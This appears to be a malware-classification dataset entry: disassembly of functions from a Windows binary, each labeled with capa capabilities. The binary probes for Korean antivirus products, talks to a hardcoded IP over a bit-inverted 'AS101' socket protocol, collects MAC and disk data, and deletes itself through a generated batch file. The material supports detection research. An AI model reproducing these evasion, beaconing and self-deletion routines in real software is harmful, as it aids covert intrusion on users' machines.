joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021e4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x433c20]
xor eax, ebp
mov dword [ebp + 0x394], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x7c], ax
lea eax, [ebp - 0x7a]
push edi
push eax
mov dword [ebp - 0x80], edi
call fcn.004155b0
xor eax, eax
push esi
mov word [ebp + 0x18c], ax
lea eax, [ebp + 0x18e]
push edi
push eax
call fcn.004155b0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x78], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x7c]
push eax
mov ebx, 0x42ca74
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x402288
mov dword [ebp - 0x80], 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4022b0
or dword [ebp - 0x80], 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4022d8
or dword [ebp - 0x80], 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x402303
or dword [ebp - 0x80], 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
cmp eax, 0xffffffff
je 0x40232e
or dword [ebp - 0x80], 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x18c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp + 0x18c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x40235c
or dword [ebp - 0x80], 0x400
mov ecx, dword [ebp + 0x394]
mov eax, dword [ebp - 0x80]
xor ecx, ebp
or eax, 0x2000000
call fcn.00413181
add ebp, 0x398
leave
ret
Function at 0x4024a9
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3e4
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x3e0], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [esp + 0x1e4], ax
xor esi, esi
lea eax, [esp + 0x1e6]
push esi
push eax
call fcn.004155b0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x4384b8
call fcn.00402890
push 2
pop ebx
test eax, eax
jne 0x4025da
push 0x3a
mov word [esp + 0x1a8], ax
lea eax, [esp + 0x1aa]
push esi
push eax
call fcn.004155b0
add esp, 0xc
lea edi, [esp + 0x1a4]
call fcn.00403350
xor eax, eax
movzx ecx, word [esp + eax + 0x1a4]
mov word [eax + 0x438660], cx
add eax, ebx
cmp cx, si
jne 0x402536
push str.218.54.30.235
push 0x40
push 0x4384bc
call fcn.004138ba
add esp, 0xc
push str.AAAA
push 0x10
push 0x43853e
call fcn.004138ba
add esp, 0xc
push 0x42c8d8
push 0x40
push 0x43855e
call fcn.004138ba
add esp, 0xc
push 0x51
pop eax
mov word [0x43853c], ax
mov eax, 0x2b70
mov word [0x4385de], ax
xor eax, eax
movzx ecx, word [esp + eax + 0x1a4]
mov word [eax + 0x438640], cx
add eax, ebx
cmp cx, si
jne 0x40259e
mov edi, 0x438640
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x4025bb
mov esi, 0x42cc28
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x438680], 5
xor esi, esi
call fcn.004033f0
lea edi, [esp + 0x1e0]
call fcn.00403350
xor eax, eax
movzx ecx, word [esp + eax + 0x1e0]
mov word [eax + 0x438478], cx
add eax, ebx
cmp cx, si
jne 0x4025ed
mov edi, 0x438478
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x402624
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402669
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402620
push 0x42c8d8
call fcn.004034a0
pop ecx
mov ebx, 0x4386b8
mov dword [0x438340], eax
call fcn.00402379
mov eax, dword [0x438684]
push esi
push esi
push esi
push 0x403840
push esi
push esi
mov dword [0x4386c0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [esp + 0x3ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00413181
mov esp, ebp
pop ebp
ret
Function at 0x402780
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [esi], 0
call fcn.004155b0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40287a
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x402847
mov eax, dword [esp + 8]
test eax, eax
jne 0x402803
cmp word [esp + 0x114], 4
jb 0x40287a
mov dword [esi], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413181
add esp, 0x120
ret
cmp eax, 2
jne 0x402825
mov dword [esi], eax
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413181
add esp, 0x120
ret
jae 0x40282c
cmp eax, 1
jne 0x40287a
mov dword [esi], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413181
add esp, 0x120
ret
cmp eax, 6
jne 0x40287a
mov eax, dword [esp + 8]
test eax, eax
jne 0x40286f
mov dword [esi], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413181
add esp, 0x120
ret
cmp eax, 1
jne 0x40287a
mov dword [esi], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.00413181
add esp, 0x120
ret

Function at 0x402940
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.004155b0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402a0f
mov eax, 0x42eae4
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x402985
sub eax, edx
sar eax, 1
je 0x402a0f
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42eae4
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.00413190
push 0x42edec
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.004132d3
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402a0f
push eax
push 1
push 0x200
push esi
call fcn.004135c6
mov eax, dword [esp + 0x14]
push eax
call fcn.0041365a
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413181
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00413181
add esp, 0x214
ret

Function at 0x402b00
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004155b0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.00402d50
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402e60
cmp eax, 0xffffffff
jne 0x402b82
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.00413181
add esp, 0x218
ret
push esi
call fcn.00402a30
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.00413181
add esp, 0x218
ret
Function at 0x402bb0
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x402cce
push 0xc00
call fcn.00408d22
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402cc1
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x38]
test eax, eax
jl 0x402c29
jg 0x402c1d
test ecx, ecx
jbe 0x402c29
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x402c2d
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x402c57
jg 0x402c43
cmp ecx, edx
jbe 0x402c57
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x402c81
jg 0x402c6d
cmp ecx, edx
jbe 0x402c81
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x402cab
jg 0x402c97
cmp ecx, edx
jbe 0x402cab
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.004173c0
mov dword [esp + 0x10], eax
test esi, esi
je 0x402cce
push esi
call fcn.00408d51
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402cf0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x402d41
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402fa0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42eebc
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.004132d3
add esp, 0xc
test eax, eax
je 0x402fc4
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0041427b
mov eax, dword [esp + 0x1c]
push eax
call fcn.0041449d
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0041427b
lea ebp, [esi + 0x32]
push ebp
call fcn.0041455a
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.004135c6
mov eax, dword [esp + 0x40]
push eax
call fcn.0041365a
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.00403070
mov ecx, dword [esp + 0x4c]
push 0x42eec4
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.004132d3
add esp, 0x40
test eax, eax
je 0x403042
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00413838
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0041365a
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x4030c0
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x320
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x31c], eax
mov eax, dword [str._sannuyex.bat]
mov ecx, dword [0x42eed0]
mov edx, dword [0x42eed4]
push 0x103
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov ax, word [0x42eed8]
lea ecx, [esp + 0x15]
push 0
push ecx
mov dword [esp + 0x14], edx
mov word [esp + 0x18], ax
mov byte [esp + 0x1c], 0
call fcn.004155b0
push 0x103
lea edx, [esp + 0x125]
push 0
push edx
mov byte [esp + 0x12c], 0
call fcn.004155b0
push 0x103
lea eax, [esp + 0x235]
push 0
push eax
mov byte [esp + 0x23c], 0
call fcn.004155b0
add esp, 0x24
lea ecx, [esp + 0x114]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403165
push esi
push edi
lea edi, [esp + 0x11c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403178
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x104
lea edx, [esp + 0x1c]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x224]
push 0x104
push ecx
call fcn.00414624
lea edx, [esp + 0x22c]
push 0x5c
push edx
call fcn.00414190
add esp, 0x14
test eax, eax
je 0x4031d2
mov byte [eax], 0
lea eax, [esp + 0x11c]
push 0x42eedc
push eax
call fcn.00414750
mov esi, eax
add esp, 8
test esi, esi
je 0x403334
push esi
push 1
push 9
push str.:Repeat_r_n
call fcn.00413838
push esi
push 1
push 5
push 0x42eeec
call fcn.00413838
lea eax, [esp + 0x38]
add esp, 0x20
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403220
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.00413838
push esi
push 1
push 2
push 0x42eef4
call fcn.00413838
push esi
push 1
push 0xa
push str.if_exist__
call fcn.00413838
lea eax, [esp + 0x48]
add esp, 0x30
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403260
push esi
sub eax, edx
push 1
push eax
lea edx, [esp + 0x24]
push edx
call fcn.00413838
push esi
push 1
push 0xf
push str.__goto_Repeat_r_n
call fcn.00413838
push esi
push 1
push 7
push str.rmdir__
call fcn.00413838
lea eax, [esp + 0x250]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4032a2
push esi
sub eax, ecx
push 1
push eax
lea eax, [esp + 0x22c]
push eax
call fcn.00413838
push esi
push 1
push 3
push 0x42ef1c
call fcn.00413838
push esi
push 1
push 5
push str.del__
call fcn.00413838
lea eax, [esp + 0x14c]
add esp, 0x30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032e7
push esi
sub eax, edx
push 1
push eax
lea ecx, [esp + 0x128]
push ecx
call fcn.00413838
push esi
push 1
push 1
push 0x42ef28
call fcn.00413838
push esi
call fcn.0041365a
add esp, 0x24
push 0
push 0
push 0
lea edx, [esp + 0x128]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x324]
pop edi
pop esi
xor ecx, esp
call fcn.00413181
add esp, 0x320
ret
Function at 0x403640
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4036b9
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403691
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x4036c2
cmp ebx, 3
jb 0x403655
mov edi, 0xfffffffd
test esi, esi
je 0x4036b1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x40369c
mov eax, esi
test esi, esi
je 0x40372e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x4036dc
cmp dword [eax + 0x1c], 0
jne 0x4036e7
mov eax, dword [eax + 8]
test eax, eax
jne 0x4036d1
xor edi, edi
jmp 0x4036a1
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x4036a1

Function at 0x403a90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebp
push ebx
push edi
call fcn.00403bc0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x403ba4
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004155b0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.004155b0
lea esi, [esp + 0x20]
call fcn.00403980
push 0x42ef84
mov ecx, esi
push 0x104
push ecx
call fcn.00413190
add esp, 0x24
mov esi, 0x437cc0
nop
cmp word [esi], 0
je 0x403b43
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.004138ba
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.00413190
add esp, 0x18
add esi, 0x118
cmp esi, 0x438238
jl 0x403b10
mov esi, 0x437cc0
cmp word [esi], 0
je 0x403b67
push ebx
push edi
push esi
call fcn.00404410
add esp, 0xc
add esi, 0x118
cmp esi, 0x438238
jl 0x403b56
push 0x4388b8
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00413190
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x403ba2
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x414]
pop ebp
xor ecx, esp
call fcn.00413181
add esp, 0x414
ret
Function at 0x403dc0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x403ded
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403e1f
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413181
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403e0a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403e5b
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403ead
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403ead
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00413181
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x403ebc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00413181
mov esp, ebp
pop ebp
ret

Function at 0x404020
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x4040a2
cmp edi, eax
jle 0x40404d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404040
lea ebx, [edi + 7]
push ebx
call fcn.00408d22
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x434fa8]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.004198a0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4040a6
cmp eax, ebx
jne 0x4040a6
mov dword [esp + 0xc], 1
jmp 0x4040a6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4040b3
push esi
call fcn.00408d51
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x404280
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x433c20]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4042c1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4043dd
test edx, edx
je 0x4043dd
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.004155b0
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4043f5
test eax, eax
je 0x4043f5
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00408d22
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4043cb
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4043a9
test eax, eax
je 0x4043a9
add esi, eax
cmp edi, esi
jg 0x404334
cmp esi, 5
jl 0x4043cb
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4043cb
mov dl, byte [ebx + 4]
cmp dl, byte [0x434fa8]
jne 0x4043cb
test esi, esi
jle 0x40438c
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x404380
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4043b1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.004198a0
mov dword [edi], esi
jmp 0x4043c0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4043cb
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.004198a0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4043d8
push ebx
call fcn.00408d51
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00413181
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00413181
add esp, 0x8d8
ret